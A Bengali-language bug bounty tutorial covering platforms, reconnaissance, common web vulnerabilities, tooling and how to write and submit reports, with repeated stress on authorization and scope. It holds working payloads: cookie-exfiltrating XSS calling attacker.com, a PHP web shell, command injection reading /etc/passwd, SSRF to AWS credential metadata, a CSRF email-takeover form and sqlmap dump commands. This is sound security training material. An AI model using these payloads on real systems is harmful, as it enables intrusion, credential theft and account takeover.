Bug Bounty Hunting v2.0

বাগ বাউন্টি হান্টিং — সম্পূর্ণ বাংলা গাইড

Platform চেনা থেকে শুরু করে Recon, Bug খোঁজা, Report লেখা, Submit করা এবং Bounty পাওয়া পর্যন্ত সম্পূর্ণ পথ এক জায়গায়।

```
hunter@bb:~$ whoami
bug_bounty_hunter
hunter@bb:~$ cat mission.txt
Target খোঁজো → Bug বের করো → Report লেখো → Bounty নাও
💰
hunter@bb:~$ ▌
```

🔍 Reconnaissance | 🐛 Bug Hunting | 💉 XSS / SQLi | 🔓 IDOR | 📡 SSRF

📝 Report Writing | 📤 Submission | 💰 Bounty | 🏆 Hall of Fame

🤖 Automation

📋 বিষয়সূচি — সম্পূর্ণ তালিকা

০১ Bug Bounty কী এবং কেন করব?

Bug Bounty এর ইতিহাস, কীভাবে কাজ করে, কারা করে

Legal ও Ethical দিক, Responsible Disclosure

০২ শুরু করার আগে — Prerequisites ও Setup

কী কী শিখতে হবে, কোন Skills দরকার

Environment Setup — Kali, Burp Suite, Tools

০৩ Platform পরিচিতি ও Program বেছে নেওয়া

HackerOne, Bugcrowd, Intigriti, YesWeHack, Synack

Private vs Public Program, VDP vs Paid Program

০৪ Reconnaissance — তথ্য সংগ্রহ

Passive Recon: WHOIS, Google Dorks, Shodan, crt.sh

Active Recon: Subdomain Enumeration, Port Scanning

Directory Bruteforce, JS File Analysis, API Endpoint Discovery

০৫ Bug খোঁজার পদ্ধতি ও Methodology

কোথায় Bug থাকে? Attack Surface বোঝা

Proxy Setup, Request Manipulation, Parameter Tampering

০৬ সাধারণ Vulnerability সমূহ

XSS, SQL Injection, IDOR, SSRF, Open Redirect, CSRF

LFI/RFI, XXE, RCE, Broken Auth, Business Logic Flaws

০৭ Tools ও Automation

Burp Suite, ffuf, subfinder, httpx, nuclei, amass

dalfox, sqlmap, gau, waybackurls, gf, hakrawler

০৮ Bug Report কিভাবে লিখতে হয়

ভালো Report এর বৈশিষ্ট্য, কী লিখলে তাড়াতাড়ি Triage হয়

CVSS Score, Severity Rating, Impact Statement

০৯ Report-এ কী কী থাকে — সম্পূর্ণ Template

Title, Summary, Steps to Reproduce, Impact, PoC, Remediation

Screenshot, Video, Payload সহ উদাহরণ

১০ Submission Process — কিভাবে Submit করে

HackerOne ও Bugcrowd-এ Submit করার ধাপ

Duplicate এড়ানো, Scope চেক করা

১১ Triage, Communication ও Negotiation

Triage কী, N/A vs Informative vs Duplicate

Bounty Negotiation কিভাবে করে

১২ Bounty পাওয়া, Payment ও Hall of Fame

PayPal, Bank Transfer, Swag, CVE

Bangladesh থেকে Bounty পাওয়ার পদ্ধতি

১৩ Advanced Techniques ও Tips

Chained Bugs, Business Logic, GraphQL Testing, OAuth Flaws

Rate Limiting Bypass, Race Conditions, 2FA Bypass

১৪ Career Path, Resources ও Cheat Sheet

PortSwigger Web Academy, HackTheBox, TryHackMe

সম্পূর্ণ Cheat Sheet ও Quick Reference

CHAPTER 01

🎯 Bug Bounty কী এবং কেন করব?

ইতিহাস, কীভাবে কাজ করে, কারা করে, এবং কত টাকা আয় করা যায়

🐛 Bug Bounty কী?

Bug Bounty হলো একটি Program যেখানে কোম্পানিগুলো তাদের Software, Website বা Application-এ Security Vulnerability খুঁজে দেওয়ার জন্য Researcher বা Hacker-দের পুরস্কার (Bounty) দেয়। এটা মূলত কোম্পানির Permission নিয়ে, তাদের সিস্টেম হ্যাক করার চেষ্টা করা — যাকে বলা হয় Ethical Hacking বা Penetration Testing।

> 💡 **সহজ ভাষায়**
>
> কল্পনা করো — Google বলছে: "আমাদের Website-এ কোনো Security Hole খুঁজে দিতে পারলে তোমাকে $10,000 দেবো।" তুমি সেটা খুঁজে দিলে — এটাই Bug Bounty!

📜 ইতিহাস

সাল	ঘটনা
1995	Netscape প্রথম Bug Bounty Program চালু করে
2004	Mozilla Bug Bounty চালু করে ($500/bug)
2010	Google ও Facebook নিজস্ব Bug Bounty শুরু করে
2012	HackerOne প্রতিষ্ঠিত হয় — dedicated Bug Bounty Platform
2014	Bugcrowd প্রতিষ্ঠিত, crowd-based security testing

সাল	ঘটনা
2022+	বিশ্বব্যাপী $1 Billion+ Bounty প্রদান করা হয়েছে

💰 কত টাকা আয় করা যায়?

🥉 শুরুতে

$50–$500

Low/Medium severity bug, VDP Programs

🥈 মধ্যবর্তী

$500–$10,000

High severity bugs, Private programs

🥇 Expert

$10K–$1M+

Critical bugs, RCE, Zero-days, Big Tech

⚖️ Legal ও Ethical দিক

🚨 গুরুত্বপূর্ণ সতর্কতা

> শুধুমাত্র authorized Program-এ কাজ করো। কোনো Website Permission ছাড়া test করলে সেটা Cybercrime। সবসময় Program-এর Scope ভালো করে পড়ো।

✅ যা করা যাবে

- Program Scope-এর মধ্যে test করা
- Data না নিয়ে Vulnerability প্রমাণ করা
- Responsible Disclosure follow করা
- Fix হওয়ার আগে public না করা

❌ যা করা যাবে না

- Scope-এর বাইরে attack করা
- Real user data নেওয়া বা দেখা
- DoS/DDoS attack করা
- Social Engineering করা

🎯 Chapter সারসংক্ষেপ

- 💡 Bug Bounty = Permission নিয়ে হ্যাক করা এবং পুরস্কার পাওয়া
- 💰 Beginner থেকে Expert — $50 থেকে $1M+ আয় সম্ভব
- ⚖️ সবসময় Scope মেনে চলো, Legal দিক মাথায় রেখো

CHAPTER 02

🛠️ শুরু করার আগে — Prerequisites ও Setup

কী শিখতে হবে, কোন Tools দরকার, কিভাবে Environment তৈরি করবে

📚 যা শিখতে হবে (Roadmap)

1 ভিত্তি তৈরি করো

প্রথমে এই বিষয়গুলো ভালো করে শিখো

- HTTP/HTTPS
- HTML/JS Basics
- Linux CLI
- Networking Basics
- Cookie & Session

⬇

2 Tools শেখো

Bug Bounty-র জন্য প্রয়োজনীয় Tools

- Burp Suite
- nmap
- ffuf
- subfinder
- nuclei

⬇

3 Vulnerability শেখো

OWASP Top 10 এবং common bugs

- XSS
- SQLi
- IDOR
- SSRF
- CSRF
- RCE

⬇

4

Practice করো ও Hunt শুরু করো

Lab practice করো, তারপর real program-এ যাও

PortSwigger Labs | HackTheBox | TryHackMe | Real Programs

💻 Environment Setup

Kali Linux Setup

```
# Kali Linux Update করো sudo apt update && sudo apt upgrade -y # Essential Tools Install sudo apt install -y nmap subfinder httpx-toolkit nuclei ffuf \ amass gobuster feroxbuster curl wget git python3-pip # Go-based tools go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest go install github.com/projectdiscovery/httpx/cmd/httpx@latest go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest go install github.com/tomnomnom/gf@latest go install github.com/lc/gau/v2/cmd/gau@latest # Nuclei Templates Update nuclei -update-templates
```

Burp Suite Setup

🔧 Burp Suite Community (Free)

Burp Suite Community Edition বিনামূল্যে পাওয়া যায়। Professional Edition ($449/year) আরও শক্তিশালী। শুরুতে Community দিয়ে কাজ চলবে।

1 **Burp Download করো**

portswigger.net/burp/communitydownload থেকে Download করো

2 **Browser Proxy Configure**

Browser-এ Proxy: 127.0.0.1:8080 সেট করো। FoxyProxy extension ব্যবহার করলে সহজ হবে।

3 **CA Certificate Install**

http://burp থেকে Certificate download করে Browser-এ import করো। HTTPS traffic দেখা যাবে।

🛠️ Chapter সারসংক্ষেপ

- 📚 HTTP, HTML, Linux, Networking — এগুলো আগে শেখো
- 🔧 Burp Suite + Kali Linux = Bug Bounty-র মূল Setup
- 🎯 PortSwigger Labs-এ Practice করলে দ্রুত শেখা যায়

CHAPTER 03

🌐 Platform পরিচিতি ও Program বেছে নেওয়া

HackerOne, Bugcrowd সহ সব Platform এবং সঠিক Program খোঁজার কৌশল

🏆 প্রধান Bug Bounty Platforms

Platform	URL	বৈশিষ্ট্য	উপযুক্ততা
HackerOne	hackerone.com	সবচেয়ে বড়, বেশি Program	**সবার জন্য**
Bugcrowd	bugcrowd.com	বড় Company-র Programs	**Intermediate**
Intigriti	intigriti.com	Europe-based, ভালো Bounty	**Intermediate**
YesWeHack	yeswehack.com	European focus, growing	**Beginner**
Synack	synack.com	Vetted researchers only	**Expert**
Open Bug Bounty	openbugbounty.org	Free, without registration	**Beginner**

🎯 Program বেছে নেওয়ার কৌশল

✅ Beginner-দের জন্য ভালো Program

- 💰 বড় Bounty দেয় না কিন্তু শেখা যায়
- 🔓 Wide Scope — বেশি domain
- ⏰ New Program — কম duplicate

- 📱 Mobile App program
- 🏷️ Public ও VDP program

❌ শুরুতে এড়িয়ে যাও

- 🏛️ Google, Apple, Microsoft (অনেক competition)
- 🔒 Private Program (invitation only)
- 💳 Financial/Banking programs (high risk)
- ⛔ Narrow Scope program

📋 Program Scope বোঝা

📌 Scope কী?

Scope হলো সেই Domain বা Assets যেগুলো Test করার Permission আছে। Scope-এর বাইরে গেলে তোমার Report Invalid হবে এবং Legal ঝামেলায় পড়তে পার।

```
# HackerOne Program Scope Example IN SCOPE (test করা যাবে): *.example.com
# সব subdomain api.example.com # API mobile app (Android/iOS) OUT OF
SCOPE (test করা যাবে না): blog.example.com # আলাদা platform cdn.example.com
# CDN *.third-party.com # Third party services DoS/DDoS attacks Social
Engineering
```

🆚 VDP vs Paid Program

	VDP (Vulnerability Disclosure)	Paid Bug Bounty
পুরস্কার	শুধু Hall of Fame বা Swag	Cash Bounty ($50–$1M+)
প্রতিযোগিতা	কম	বেশি

	VDP (Vulnerability Disclosure)	Paid Bug Bounty
শেখার সুযোগ	ভালো	ভালো
Beginner-দের জন্য	✅ **পারফেক্ট**	**শিখে তারপর**

🌐 Chapter সারসংক্ষেপ

- 🏆 HackerOne ও Bugcrowd — শুরু করার সেরা জায়গা
- 🎯 Wide Scope, New Program, VDP দিয়ে শুরু করো
- 📋 Scope সবসময় মনোযোগ দিয়ে পড়ো

CHAPTER 04

🔍 Reconnaissance — তথ্য সংগ্রহ

Target সম্পর্কে যত বেশি জানবে, Bug খুঁজে পাওয়ার সম্ভাবনা তত বেশি

🗺️ Recon Pipeline — কী কী করতে হবে

```
TARGET (example.com) │ ├── Passive Recon (নিরাপদ, কোনো traffic পাঠানো হয় না) │ ├── WHOIS, DNS lookup │ ├── Google Dorks │ ├── Shodan / Censys │ ├── crt.sh (SSL Certificates) │ ├── waybackurls (old URLs) │ └── GitHub Recon (leaked secrets) │ └── Active Recon (Target-এ direct request পাঠানো হয়) ├── Subdomain Enumeration (subfinder, amass) ├── Port Scanning (nmap) ├── HTTP Probing (httpx) ├── Directory Bruteforce (ffuf, gobuster) ├── JS File Analysis └── API Endpoint Discovery
```

🔎 Passive Recon Techniques

Google Dorks

```
# Target সম্পর্কে তথ্য খোঁজার Google Dorks site:example.com # সব indexed page site:example.com filetype:pdf # PDF files site:example.com inurl:admin # Admin panels site:example.com inurl:login # Login pages site:example.com ext:php inurl:id= # PHP pages with id param site:example.com "api_key" # Leaked API keys site:github.com "example.com" password # Leaked credentials
```

Subdomain Enumeration

```
# subfinder দিয়ে subfinder -d example.com -o subdomains.txt # amass দিয়ে (বেশি সময় লাগে কিন্তু বেশি পায়) amass enum -d example.com -o amass_results.txt # crt.sh থেকে (certificate transparency) curl "https://crt.sh/?q=%25.example.com&output=json" | jq '.[].name_value' | sort -u # সব result এক সাথে করে httpx দিয়ে live check cat subdomains.txt | httpx -silent -o live_hosts.txt # Output example https://api.example.com [200] [API Gateway] [nginx] https://admin.example.com [200] [Admin Panel] [Apache] https://dev.example.com [200] [Development Site]
```

Port Scanning

```
# nmap দিয়ে port scan nmap -sV -sC -p- --min-rate 5000 example.com # Web ports focus nmap -p 80,443,8080,8443,8888 -sV example.com # Common open ports যা interesting 21 → FTP (anonymous login check) 22 → SSH (weak credential check) 80 → HTTP 443 → HTTPS 3306 → MySQL (exposed DB!) 6379 → Redis (unauthenticated access) 27017→ MongoDB (exposed DB!)
```

Directory & File Bruteforce

```
# ffuf দিয়ে directory bruteforce ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -u https://example.com/FUZZ \ -mc 200,301,302,403 # gobuster দিয়ে gobuster dir -u https://example.com \ -w /usr/share/wordlists/dirb/common.txt \ -x php,html,js,txt # API endpoint discovery ffuf -w wordlists/api_endpoints.txt \ -u https://api.example.com/FUZZ \ -H "Content-Type: application/json"
```

JavaScript File Analysis

```
# gau দিয়ে সব JS URL সংগ্রহ echo "example.com" | gau | grep "\.js$" | sort -u > js_files.txt # JS file থেকে API endpoints, secrets বের করা cat js_files.txt | xargs -I{} curl -s {} | grep -Eo '(http|https)://[^"]+' |
```

```
sort -u # Sensitive data in JS grep -r
"api_key\|apikey\|secret\|password\|token" js_files/
```

⚠️ GitHub Recon

GitHub-এ Company-র leaked secrets খোঁজো — API keys, passwords, database credentials অনেক সময় public repo-তে থাকে।

```
# GitHub-এ search করো site:github.com "example.com" "api_key"
site:github.com "example.com" "password" site:github.com "example.com"
"secret" site:github.com "example.com" ".env" # trufflehog দিয়ে repo scan
trufflehog github --repo=https://github.com/examplecorp/repo
```

🔍 Chapter সারসংক্ষেপ

- 🗺️ Recon = Passive (নিরাপদ) + Active (সরাসরি)
- 🔎 Google Dorks → Subdomain → Port Scan → Directory Brute → JS Analysis
- 💡 GitHub Recon অনেক সময় direct API key দিয়ে দেয়!

CHAPTER 05

🐛 Bug খোঁজার পদ্ধতি ও Methodology

কোথায় Bug থাকে, কিভাবে খুঁজতে হয়, Burp Suite দিয়ে কীভাবে কাজ করতে হয়

🎯 Attack Surface বোঝা — কোথায় Bug থাকে?

🌐 Web Application-এ

- Login / Registration Form
- Search Box (XSS, SQLi)
- File Upload Feature
- Password Reset Flow
- Profile Edit Page
- Comment / Feedback Box
- Payment / Checkout

🔌 API-তে

- REST API Endpoints
- GraphQL Queries
- User ID manipulation (IDOR)
- Unauthenticated endpoints
- HTTP Method tampering
- JWT Token flaws

- API versioning issues

🔧 Burp Suite দিয়ে কাজ করা

HTTP Request Intercept ও Modify করা

1 **Intercept চালু করো**

Burp → Proxy → Intercept → ON

2 **Browser-এ Action করো**

Login করো বা কোনো form submit করো — Request Burp-এ ধরা পড়বে

3 **Request Modify করো**

Parameter পরিবর্তন করো, Payload inject করো, তারপর Forward করো

4 **Repeater / Intruder ব্যবহার করো**

Request → Right Click → Send to Repeater। বারবার test করতে Repeater ব্যবহার করো।

🧪 Parameter Tampering — সবচেয়ে বেশি Bug এখানে

```
# Normal Request GET /profile?user_id=1001 HTTP/1.1 Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9... # IDOR Test — অন্যের user_id
দিয়ে দেখো GET /profile?user_id=1002 HTTP/1.1 ← অন্যের data দেখা যাচ্ছে? = IDOR
Bug! GET /profile?user_id=0 HTTP/1.1 ← Admin profile? GET /profile?
user_id=-1 HTTP/1.1 ← Negative ID? GET /profile?user_id=null HTTP/1.1 ←
Null value? # Hidden Parameter খোঁজা POST /login HTTP/1.1
{"username":"admin","password":"pass","role":"admin"} ← hidden param
inject
```

🐛 Chapter সারসংক্ষেপ

- 🎯 Login, Search, Upload, API — এই জায়গাগুলোয় সবচেয়ে বেশি Bug থাকে
- 🔧 Burp Suite-র Intercept + Repeater = Bug Hunter-এর সবচেয়ে শক্তিশালী অস্ত্র
- 🧪 সব Parameter Manipulate করে দেখো

CHAPTER 06

💉 সাধারণ Vulnerability সমূহ

XSS, SQLi, IDOR, SSRF, CSRF, RCE — প্রতিটি Bug বিস্তারিত

🔴 XSS — Cross-Site Scripting

📌 কী?

Attacker-এর Malicious JavaScript অন্য User-এর Browser-এ Execute হয়।

⚠️ ক্ষতি

Cookie Theft, Session Hijacking, Phishing, Keylogging

```
# Reflected XSS Test Payloads <script>alert(1)</script> <img src=x
onerror=alert(1)> <svg onload=alert(1)> "><script>alert(document.domain)
</script> <body onload=alert(1)> # Stored XSS — comment box-এ insert করো
<script>document.location='http://attacker.com/?
c='+document.cookie</script> # DOM XSS — URL fragment
https://example.com/#<img src=x onerror=alert(1)> # WAF Bypass payloads
<ScRiPt>alert(1)</ScRiPt> <sc<script>ript>alert(1)</script>
```

🔴 SQL Injection

```
# Basic SQLi Test ' OR '1'='1 ' OR '1'='1'-- " OR "1"="1 admin'-- 1'
ORDER BY 1-- 1' UNION SELECT NULL-- # sqlmap দিয়ে automatic test sqlmap -u
"https://example.com/item?id=1" --dbs sqlmap -u
"https://example.com/item?id=1" -D database_name --tables sqlmap -u
"https://example.com/item?id=1" -D db -T users --dump # POST request-এ
sqlmap -u "https://example.com/login" \ --
data="username=admin&password=test" \ --dbs
```

🔴 IDOR — Insecure Direct Object Reference

💡 Bug Bounty-তে IDOR সবচেয়ে বেশি পাওয়া যায়!

User ID, Order ID, File ID — এই ধরনের ID পরিবর্তন করলে যদি অন্যের data দেখা বা পরিবর্তন করা যায়, সেটাই IDOR।

```
# IDOR Test Examples GET /api/invoice/1234 → 1235, 1236... (Sequential
IDs) GET /download?file=user1.pdf → user2.pdf DELETE /api/comment/5678 →
অন্যের comment delete? # UUID/GUID হলেও test করো GET
/api/profile/550e8400-e29b-41d4-a716-446655440000 # HTTP Method tampering
GET → POST, PUT, DELETE # method পরিবর্তন করে দেখো # Horizontal vs Vertical
IDOR Horizontal: same role, different user data (user1 → user2) Vertical:
user → admin data (more critical!)
```

🔴 SSRF — Server-Side Request Forgery

```
# SSRF Test — Internal IP access url=http://127.0.0.1/admin
url=http://localhost/ url=http://169.254.169.254/latest/meta-data/ # AWS
metadata url=http://192.168.1.1/ # Internal network # SSRF Bypass
techniques http://0x7f000001/ # Hex notation of 127.0.0.1 http://[::1]/ #
IPv6 localhost http://localtest.me/ # Domain resolving to 127.0.0.1 #
SSRF দিয়ে AWS credentials চুরি http://169.254.169.254/latest/meta-
data/iam/security-credentials/
```

🔴 CSRF — Cross-Site Request Forgery

```
# CSRF Test HTML (victim-এর ব্রাউজারে open হলে তাদের account-এ action হবে)
<html> <body onload="document.forms[0].submit()"> <form method="POST"
action="https://example.com/change-email"> <input type="hidden"
name="email" value="attacker@evil.com"> </form> </body> </html> # CSRF
Token Bypass 1. Token remove করে দেখো 2. Token-এর value empty করো 3. অন্য
user-এর valid token দিয়ে দেখো 4. Token-এর length change করো
```

🔴 RCE — Remote Code Execution (সর্বোচ্চ Severity)

🚨 Critical — $10,000 to $1,000,000+

RCE মানে Server-এ সরাসরি Command Execute করা যাচ্ছে। এটা Bug Bounty-তে সবচেয়ে বড় Bug এবং সবচেয়ে বেশি Bounty পাওয়া যায়।

```
# RCE Test Payloads ; ls -la | whoami && cat /etc/passwd $(id) `id` #
File Upload RCE (PHP shell) shell.php → <?php system($_GET['cmd']); ?>
shell.php.jpg (extension bypass) # Deserialization RCE, Template
Injection {{7*7}} # SSTI test → 49 আসলে vulnerable ${7*7} <%= 7*7 %>
```

📊 Vulnerability Severity Table

Vulnerability	Severity	Avg Bounty	Frequency
RCE, SQLi (auth bypass)	🔴 Critical	$10K–$1M+	⭐⭐
SSRF, XXE, IDOR (sensitive), SQLi	🟠 High	$1K–$10K	⭐⭐⭐
XSS (stored), CSRF, Broken Auth	🟡 Medium	$200–$1K	⭐⭐⭐⭐

Vulnerability	Severity	Avg Bounty	Frequency
XSS (reflected), Open Redirect	🟢 Low	$50–$200	⭐⭐⭐⭐⭐
Info Disclosure, Security Headers	🔵 Info	$0–$50/Swag	⭐⭐⭐⭐⭐

💉 Chapter সারসংক্ষেপ

- 🏅 IDOR সবচেয়ে common — সব ID parameter test করো
- 💰 RCE সবচেয়ে বেশি Bounty দেয়
- 🎯 XSS শেখা সহজ, শুরুতে এটা দিয়েই শুরু করো

CHAPTER 07

🤖 Tools ও Automation

Bug Bounty-র জন্য সেরা Tools এবং Automation দিয়ে দ্রুত কাজ করা

🧰 Essential Tools List

Tool	Category	কাজ	Command
Burp Suite	Proxy	HTTP intercept, modify, replay	`burpsuite`
subfinder	Recon	Subdomain খোঁজা	`subfinder -d target.com`
httpx	Recon	Live host check	`httpx -l hosts.txt`
nuclei	Scanner	Template-based vulnerability scan	`nuclei -u target.com`
ffuf	Fuzzer	Directory/Parameter brute	`ffuf -w list.txt -u URL/FUZZ`
dalfox	XSS	Automatic XSS scanner	`dalfox url "https://target.com?q=1"`
sqlmap	SQLi	SQL Injection scanner	`sqlmap -u "URL?id=1"`
gau	Recon	Wayback URLs সংগ্রহ	`gau target.com`
amass	Recon	Deep subdomain enum	`amass enum -d target.com`
gf	Filter	URL pattern matching	`gau target.com | gf xss`

⚡ Automation Pipeline — এক কমান্ডে সব

```
#!/bin/bash # Bug Bounty Automation Script TARGET=$1 echo "[+] Starting Recon for: $TARGET" # Step 1: Subdomain Enumeration subfinder -d $TARGET -silent | \ httpx -silent -o live_${TARGET}.txt echo "[+] Live Hosts: $(wc -l live_${TARGET}.txt)" # Step 2: Nuclei Scan nuclei -l live_${TARGET}.txt \ -t ~/nuclei-templates/ \ -severity medium,high,critical \ -o nuclei_${TARGET}.txt # Step 3: URL Collection & XSS Test cat live_${TARGET}.txt | \ gau | \ gf xss | \ dalfox pipe -o xss_${TARGET}.txt echo "[+] Done! Check results in *_${TARGET}.txt files"
```

🔍 Nuclei দিয়ে Automated Scanning

```
# Specific vulnerability type scan nuclei -u https://example.com -t cves/ # Known CVEs nuclei -u https://example.com -t exposures/ # Exposed files nuclei -u https://example.com -t misconfigurations/ # Multiple targets nuclei -l targets.txt -t ~/nuclei-templates/ -severity high,critical # Custom template nuclei -u https://example.com -t my_custom.yaml
```

🤖 Chapter সারসংক্ষেপ

- 🔗 Burp Suite + nuclei + dalfox = Bug Bounty-র Core Toolkit
- ⚡ Automation দিয়ে একসাথে বেশি target cover করা যায়
- 📊 nuclei দিয়ে known CVE ও misconfig দ্রুত পাওয়া যায়

CHAPTER 08

📝 Bug Report কিভাবে লিখতে হয়

একটি ভালো Report-ই তোমার Bounty নিশ্চিত করে — Report লেখার পূর্ণ গাইড

💡 ভালো Report কেন গুরুত্বপূর্ণ?

✅ ভালো Report-এর ফল

- দ্রুত Triage হয়
- বেশি Bounty পাওয়া যায়
- Company তোমাকে বিশ্বাস করে
- Private Program invitation পাওয়া যায়

❌ খারাপ Report-এর ফল

- N/A বা Informative mark হয়
- কম Bounty পাওয়া যায়
- Ban বা Reputation কমে
- Triage টিম frustrated হয়

📊 CVSS Score বোঝা

CVSS (Common Vulnerability Scoring System) হলো Bug-এর Severity মাপার স্ট্যান্ডার্ড পদ্ধতি। 0–10 স্কেলে Bug-এর গুরুত্ব বোঝায়।

Score	Severity	উদাহরণ
9.0–10.0	🔴 Critical	RCE without auth, SQLi admin bypass
7.0–8.9	🟠 High	SSRF, Stored XSS, Sensitive IDOR
4.0–6.9	🟡 Medium	Reflected XSS, CSRF, IDOR (low impact)
0.1–3.9	🟢 Low	Open Redirect, Info Disclosure
0.0	🔵 Info	Best practices missing

✍️ Report লেখার Golden Rules

1 Title — স্পষ্ট ও Specific হও

❌ **Bad:** "XSS found"

✅ **Good:** "Stored XSS in /profile/bio via name parameter allows cookie theft"

2 Steps — Step by step লেখো

Triage টিম যেন হুবহু Reproduce করতে পারে। প্রতিটি Step numbered হবে।

3 Proof of Concept (PoC)

Screenshot, Video বা Code দাও। Video সবচেয়ে ভালো।

4 Impact পরিষ্কার করো

"এই Bug দিয়ে কী করা সম্ভব?" — Worst case scenario লেখো।

5 **Remediation সাজেস্ট করো**

Fix করার পরামর্শ দাও — এটা Bounty বাড়ায়।

📝 Chapter সারসংক্ষেপ

- 📌 ভালো Title = ৫০% কাজ শেষ
- 🎥 PoC Video দিলে Bounty বাড়ে
- 💡 Impact স্পষ্টভাবে বলো — "কী ক্ষতি হতে পারে"

CHAPTER 09

📋 Report-এ কী কী থাকে — সম্পূর্ণ Template

Professional Bug Report-এর প্রতিটি Section বিস্তারিত — Real Example সহ

📄 সম্পূর্ণ Report Template

```
BUG BOUNTY REPORT

TITLE: Stored XSS in /user/profile via 'bio' field allows session hijacking of any user SEVERITY: High (CVSS: 8.2) CVSS: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N ASSET: https://app.example.com/user/profile DATE: 2024-01-15

VULNERABILITY SUMMARY

The 'bio' field in user profile settings does not properly sanitize user input, allowing an attacker to inject malicious JavaScript that executes in the browser of any user who visits the attacker's profile.

STEPS TO REPRODUCE

1. Create an account at https://app.example.com/register 2. Log in and go to Profile Settings 3. In the "Bio" field, enter the following payload: <script>document.location='https://attacker.com/?c='+document.cookie</script> 4. Click "Save Profile" 5. Log in as another user (victim) 6. Visit the attacker's profile page 7. Observe: victim's session cookie is sent to attacker's server
```

```
PROOF OF CONCEPT (PoC)
═══════════════════════════════════════════════════════
📸 Screenshot: [attached - xss_poc_1.png] Shows the payload in the bio field
📸 Screenshot: [attached - xss_poc_2.png] Shows the cookie received on attacker server
🎥 Video: [attached - xss_demo.mp4] Full demonstration of the attack
HTTP Request: POST /api/profile/update HTTP/1.1 Host: app.example.com Content-Type: application/json Authorization: Bearer [token] {"bio": "<script>alert(document.domain)</script>"}
═══════════════════════════════════════════════════════
IMPACT
═══════════════════════════════════════════════════════
An attacker can exploit this vulnerability to: • Steal session cookies of any user who views the profile • Perform actions on behalf of victims (account takeover) • Redirect victims to phishing pages • Log keystrokes (credential theft) • Spread worm-like to all visitors Affected users: ALL registered users of the platform
═══════════════════════════════════════════════════════
REMEDIATION / FIX RECOMMENDATION
═══════════════════════════════════════════════════════
1. Implement proper output encoding/escaping for the bio field before rendering in HTML context 2. Use Content Security Policy (CSP) headers 3. Implement DOMPurify or similar HTML sanitization library 4. Set HttpOnly flag on session cookies Reference: https://owasp.org/www-community/attacks/xss/
═══════════════════════════════════════════════════════
Reported by: [Your HackerOne username] Test Environment: Only test account created by reporter No real user data was accessed during testing
═══════════════════════════════════════════════════════
```

📸 PoC Screenshot/Video Tips

📸 Screenshot Tips

- URL address bar দেখিয়ে screenshot নাও

- Payload clearly visible রাখো
- Response/Alert box দেখাও
- Annotate করো (arrow, highlight)

🎥 Video Tips

- OBS বা Loom দিয়ে record করো
- শুরুতে Target URL দেখাও
- প্রতিটি step clearly করো
- Impact demonstrate করো

📋 Report Template Summary

- 📌 **Title** — Vulnerability + Location + Impact
- 📊 **Severity + CVSS** — স্বাধীনভাবে Calculate করো
- 📝 **Steps** — Numbered, Reproducible
- 📸 **PoC** — Screenshot + Video + HTTP Request
- 💥 **Impact** — Worst Case Scenario
- 🔧 **Remediation** — Fix Suggestion + Reference

CHAPTER 10

📤 Submission Process — কিভাবে Submit করে

HackerOne ও Bugcrowd-এ Bug Submit করার সম্পূর্ণ ধাপ-ধাপ গাইড

🚀 HackerOne-এ Submit করার ধাপ

1 Program খুঁজে পাও

hackerone.com/programs → পছন্দের program select করো

2 Scope ভালো করে পড়ো

Policy, In-scope, Out-of-scope, Exclusions সব পড়ো। তারপর Test করো।

3 Bug Test ও Document করো

Bug পেলে সাথে সাথে Screenshot/Video নাও। HTTP Request সেভ রাখো।

4 Duplicate Check করো

Hacktivity-তে similar bug আছে কিনা দেখো। Duplicate হলে Bounty পাবে না।

5 "Submit Report" Click

Program page → "Submit Report" → Form পূরণ করো

6 Form পূরণ করো

`Weakness` : Bug type select করো (XSS, IDOR, etc.)

`Severity` : তোমার Estimate দাও

`Title` : Clear ও specific

`Description` : Template অনুযায়ী লেখো

`Attachments` : Screenshot/Video attach করো

7 **Submit করো এবং অপেক্ষা করো**

Submit করার পর সাধারণত ৩–১৪ দিনের মধ্যে Response পাওয়া যায়।

⚠️ Submit করার আগে Checklist

✅ Submit করার আগে এই সব নিশ্চিত করো

- ☐ Bug টি Scope-এর মধ্যে আছে
- ☐ Bug টি Reproducible (আবার করা যায়)
- ☐ PoC Screenshot বা Video আছে
- ☐ HTTP Request/Response সংযুক্ত
- ☐ Title স্পষ্ট ও descriptive
- ☐ Impact section ভালো করে লেখা হয়েছে
- ☐ Real user data access করা হয়নি
- ☐ Hacktivity-তে Duplicate দেখেছো
- ☐ Remediation Suggestion আছে

🔄 Submission এর পরে কী হয়?

```
SUBMITTED
  │
  ▼
NEW (Triage টিম দেখেনি এখনো)
  │
  ▼
TRIAGED (Triage confirmed, Valid বলে মনে হচ্ছে)
  │
  ├──→ DUPLICATE → আগে কেউ report করেছে, Bounty নেই
  ├──→ N/A → Not Applicable, Bug নয় বা Out of Scope
  ├──→ INFORMATIVE → Security issue কিন্তু Bounty নেই
  └──→ RESOLVED → Fix করা হয়েছে → 💰 BOUNTY PAID!
```

📤 Chapter সারসংক্ষেপ

- 📋 Scope পড়া → Test → Document → Duplicate Check → Submit
- ⚠️ Duplicate সবচেয়ে বড় সমস্যা — আগে Hacktivity check করো
- ⏰ Submit করে ৩–১৪ দিন অপেক্ষা করো, spam করো না

CHAPTER 11

💬 Triage, Communication ও Negotiation

Report Triage হওয়ার পরে কী করবে, কিভাবে Professional থাকবে এবং Bounty Negotiate করবে

🏷️ Report Status বোঝা

Status	অর্থ	তোমার করণীয়
New	Submitted, দেখা হয়নি	অপেক্ষা করো (৩–৭ দিন)
Triaged	Valid, Fix হচ্ছে	🎉 ভালো! অপেক্ষা করো
Resolved	Fix করা হয়েছে	💰 Bounty পাবে!
Duplicate	আগে report হয়েছে	Accept করো, শেখো
N/A	Bug নয়, বা Out of Scope	Politely জিজ্ঞেস করো কেন
Informative	Issue কিন্তু Bounty নেই	Noted রাখো, next target

💰 Bounty Negotiation

💡 কখন Negotiate করা যায়?

যদি মনে হয় Severity underrated করা হয়েছে — Politely, Professionally কথা বলো। Aggressive হওয়া যাবে না।

```
